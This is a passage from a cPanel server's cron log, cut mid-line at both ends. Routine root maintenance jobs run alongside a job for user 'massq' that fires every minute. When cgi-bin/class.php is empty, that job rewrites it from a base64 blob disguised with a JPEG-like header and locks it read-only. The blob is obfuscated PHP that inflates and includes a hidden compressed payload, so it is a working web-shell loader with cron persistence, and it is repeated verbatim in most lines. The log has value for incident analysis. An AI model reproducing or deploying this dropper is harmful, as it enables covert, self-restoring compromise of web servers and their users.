BdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:45:01 server CROND[7894]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 04:45:01 server CROND[7893]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 04:46:01 server CROND[8006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:47:01 server CROND[8070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:48:01 server CROND[8129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:49:01 server CROND[8186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:50:01 server CROND[8332]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 04:50:01 server CROND[8333]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 04:50:01 server CROND[8334]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 04:50:01 server CROND[8336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:50:01 server CROND[8335]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 04:51:01 server CROND[8439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:52:01 server CROND[8483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:53:01 server CROND[8544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:54:01 server CROND[8611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:55:01 server CROND[8669]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 04:55:01 server CROND[8670]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 04:55:01 server CROND[8671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:56:01 server CROND[8870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:57:01 server CROND[8924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:57:01 server CROND[8925]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 04:58:01 server CROND[8989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 04:59:01 server CROND[9057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRm